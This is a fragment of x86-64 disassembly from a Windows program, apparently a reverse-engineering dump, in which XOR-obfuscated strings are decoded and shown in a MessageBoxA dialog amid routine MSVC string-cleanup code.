xor r15d, r15d
xor al, 0x65
mov byte [rbp - 0x3f], al
xor cl, 0x65
mov byte [rbp - 0x3e], cl
xor dl, 0x65
mov byte [rbp - 0x3d], dl
xor r8b, 0x65
mov byte [rbp - 0x3c], r8b
xor r9b, 0x65
mov byte [rbp - 0x3b], r9b
xor r10b, 0x65
mov byte [rbp - 0x3a], r10b
xor r11b, 0x65
mov byte [rbp - 0x39], r11b
mov byte [rbp - 0x38], r15b
movdqa xmm0, xmmword [0x7ff741cbd180]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x7ff741cbd170]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [0x7ff741cbd060]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x7ff741cbd1a0]
movdqa xmmword [rbp - 0x60], xmm1
mov dword [rbp - 0x50], 0x7f637116
mov word [rbp - 0x4c], 0x18
xor ecx, ecx
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x71], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x72], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x73], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x74], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x75], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x76], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x77], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x78], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x79], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x7a], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x7b], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x7c], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x7d], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x7e], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x7f], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x80], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x7f], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x7e], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x7d], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x7c], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x7b], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x7a], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x79], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x78], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x77], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x76], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x75], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x74], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x73], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x72], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x71], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x70], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x6f], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x6e], al
add rcx, 0x22
cmp rcx, 0x44
jb 0x7ff741c55202
mov byte [rbp - 0x4b], r15b
mov r9d, 0x40
lea r8, [rbp - 0x3f]
lea rdx, [rsp + 0x71]
xor ecx, ecx
call qword [sym.imp.user32.dll_MessageBoxA]
cmp byte [rsi + 2], r15b
sete al
mov byte [rsi + 2], al
mov rdx, qword [rbp + 0x68]
cmp rdx, 0x10
jb 0x7ff741c553a5
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff741c553a0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff741c553a0
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff741ca88ac
mov qword [rbp + 0x60], 0
mov qword [rbp + 0x68], 0xf
mov byte [rbp + 0x50], 0
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x7ff741c553fb
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff741c553f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff741c553f5
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff741ca88ac
nop
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0x10
jb 0x7ff741c5544a
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff741c5543a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff741c5543a
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff741ca88ac
jmp 0x7ff741c5544a
mov r14d, dword [rbp - 0x30]
jmp 0x7ff741c5544a
mov r14d, r9d
test r14d, r14d
je 0x7ff741c555ba
movdqa xmm1, xmmword [0x7ff741cbd160]
movdqu xmmword [rsp + 0x40], xmm1
mov cl, 0x42
mov dl, 0x43
mov r9b, 0xd
mov r10b, 0x5d
mov r11b, 0x48
movzx edi, dl
mov sil, 0x49
mov r14b, 0x44
movzx r15d, dl
mov r12b, 0x4a
mov r13b, 3
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r8d, xmm1
xor al, r8b
mov byte [rsp + 0x41], al
xor byte [rsp + 0x42], r8b
xor byte [rsp + 0x43], r8b
xor byte [rsp + 0x44], r8b
xor byte [rsp + 0x45], r8b
xor byte [rsp + 0x46], r8b
xor byte [rsp + 0x47], r8b
xor byte [rsp + 0x48], r8b
xor byte [rsp + 0x49], r8b
xor byte [rsp + 0x4a], r8b
xor byte [rsp + 0x4b], r8b
xor byte [rsp + 0x4c], r8b
xor byte [rsp + 0x4d], r8b
xor byte [rsp + 0x4e], r8b
xor byte [rsp + 0x4f], r8b
xor cl, r8b
mov byte [rsp + 0x50], cl
xor dl, r8b
mov byte [rsp + 0x51], dl
xor r9b, r8b
mov byte [rsp + 0x52], r9b
xor r10b, r8b
mov byte [rsp + 0x53], r10b
xor r11b, r8b
mov byte [rsp + 0x54], r11b
xor dil, r8b
mov byte [rsp + 0x55], dil
xor sil, r8b
mov byte [rsp + 0x56], sil
xor r14b, r8b
mov byte [rsp + 0x57], r14b
xor r15b, r8b
mov byte [rsp + 0x58], r15b
xor r12b, r8b
mov byte [rsp + 0x59], r12b
xor r13b, r8b
mov byte [rsp + 0x5a], r13b
mov byte [rsp + 0x5b], 0
mov r8, qword [rbp + 0x28]
mov rcx, qword [r8 + 0x10]
lea rax, [rsp + 0x41]
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x7ff741c55550
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, rbx
jb 0x7ff741c5582a
mov r9, r8
cmp qword [r8 + 0x18], 0x10
jb 0x7ff741c5557c
mov r9, qword [r8]
mov qword [rsp + 0x30], rbx
lea rax, [rsp + 0x41]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
movzx edx, byte [rsp + 0x60]
lea rcx, [rbp + 0x90]
call fcn.7ff741c08180
mov edi, dword [rbp + 0x1c]
or edi, 0x40
lea rax, [rbp + 0x90]
or edi, 8
mov r13, qword [rbp + 0x20]
jmp 0x7ff741c55651
movdqa xmm1, xmmword [0x7ff741cbd190]
movdqu xmmword [rsp + 0x40], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x41], al
xor byte [rsp + 0x42], cl
xor byte [rsp + 0x43], cl
xor byte [rsp + 0x44], cl
xor byte [rsp + 0x45], cl
xor byte [rsp + 0x46], cl
xor byte [rsp + 0x47], cl
xor byte [rsp + 0x48], cl
xor byte [rsp + 0x49], cl
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
xor byte [rsp + 0x4f], cl
mov byte [rsp + 0x50], 0
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 8], xmm1
lea rax, [rsp + 0x41]
inc rbx
cmp byte [rax + rbx], 0
jne 0x7ff741c55630
mov r8, rbx
lea rdx, [rsp + 0x41]
lea rcx, [rbp - 8]
call fcn.7ff741c04170
lea rax, [rbp - 8]
or edi, 0x10
xor ecx, ecx
movups xmm0, xmmword [rax]
movups xmmword [r13], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [r13 + 0x10], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], 0xf
mov byte [rax], cl
or edi, 1
test dil, 0x10
je 0x7ff741c556bd
and edi, 0xffffffef
mov rdx, qword [rbp + 0x10]
cmp rdx, 0x10
jb 0x7ff741c556bd
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff741c556b7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff741c556b7
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff741ca88ac
nop
test dil, 8
je 0x7ff741c557fd
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0x10
jb 0x7ff741c557fd
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff741c5570a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff741c5570a
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff741ca88ac
jmp 0x7ff741c557fd
mov byte [rsi + 0xf3], dil
mov byte [rsp + 0x40], 9
mov al, 0x29
mov cl, 0x67
mov dl, 0x66
mov r8b, 0x7d
movzx r9d, al
mov r10b, 0x6f
movzx r11d, dl
mov bl, 0x7c
movzx edi, cl
mov sil, 0x6d
mov r14b, 0x27
xor r12d, r12d
xor al, 9
mov byte [rsp + 0x41], al
xor cl, 9
mov byte [rsp + 0x42], cl
xor dl, 9
mov byte [rsp + 0x43], dl
xor r8b, 9
mov byte [rsp + 0x44], r8b
xor r9b, 9
mov byte [rsp + 0x45], r9b
xor r10b, 9
mov byte [rsp + 0x46], r10b
xor r11b, 9
mov byte [rsp + 0x47], r11b
xor bl, 9
mov byte [rsp + 0x48], bl
xor dil, 9
mov byte [rsp + 0x49], dil
xor sil, 9
mov byte [rsp + 0x4a], sil
xor r14b, 9
mov byte [rsp + 0x4b], r14b
mov byte [rsp + 0x4c], r12b
mov rcx, qword [r15 + 0x10]
lea rax, [rsp + 0x41]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], r12b
jne 0x7ff741c557b1
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, rbx
jb 0x7ff741c5582a
mov r9, r15
cmp qword [r15 + 0x18], 0x10
jb 0x7ff741c557d9
mov r9, qword [r15]
mov qword [rsp + 0x30], rbx
lea rax, [rsp + 0x41]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r8, r15
movzx edx, byte [rsp + 0x60]
mov rcx, r13
call fcn.7ff741c08180
mov rax, r13
mov rcx, qword [rbp + 0xb0]
xor rcx, rsp
call fcn.7ff741ca8850
mov rbx, qword [rsp + 0x210]
add rsp, 0x1c0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.7ff741c01790
nop
call fcn.7ff741c01790
nop
call fcn.7ff741c01790
int3
call fcn.7ff741c01790
nop
call fcn.7ff741c01790
int3
call fcn.7ff741c01790
int3